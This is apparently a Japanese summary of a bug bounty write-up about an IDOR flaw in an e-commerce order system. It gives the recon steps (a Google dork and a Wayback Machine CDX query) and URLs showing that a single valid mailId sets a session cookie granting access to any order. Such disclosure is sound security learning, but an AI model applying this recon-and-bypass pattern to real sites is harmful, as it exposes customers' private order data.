How I Prevented a Mass Data Breach - $15,000 bounty - @bxmbn から学ぶ

ソース:

bxmbn.medium.com

 

脆弱性:IDOR

 

訳:

 

Dork が使用した場所: site:privateprogram.com/webapp/


さまざまな愚か者を調べて実験した結果、ユーザーの注文を保存する専用のサブドメインを発見し。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

 

 

http://web.archive.org/cdx/search/cdx?url= orders.privateprogram.com/webapp/ *&output=text&fl=original&collapse=urlkey&from=-

ウェイバックマシンを使用する。
この新しい興味深いエンドポイントを見つけ。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=003163553&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

これをリクエストして「200 OK」という応答を受け取りましたが、空白のページが返されて。
応答を調べたところ、リクエストを送信するたびにサーバーが Cookie を設定していることがわかり。 

 

 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=003163553

 

そしてそれはうまくいきました!
私はそのオーダーにアクセスできるようになり。
私は、mailId が注文にアクセスするためのセキュリティキーとして機能するのではないかと推測し。
この理論をテストするために、以前の Google の探索中に見つけた別の orderId (order 002233893、覚えていますか?) を使用して同じエクスプロイトを試み、同様にアクセスすることに成功し。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002233893

 

mailId は明らかにセキュリティ キーとして機能しようとしていますが、すべての注文のセキュリティ キーとして機能し、有効でリクエスト時に存在する限り、どの注文へのアクセスも許可し。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=<anyorder>&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

要約すると、たとえば、orderId 002143893 にアクセスしたい場合、最初のステップは、その特定の注文の Cookie を取得するために次のリクエストを行うことになり。 

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/MailOid?orderId=002143893&mailId=a1c156c4–6c4a-4bf9–9a17–2c5bvcdf6ec1

 

空の応答が返されますが、サーバーはその特定の注文の Cookie を提供し。 

 


Cookie を取得したので、注文 002143893にアクセスできるようになり。

 

https://orders.privateprogram.com/webapp/wcs/stores/servlet/OrderView?orderId=002143893

 

 

 

ほなほな。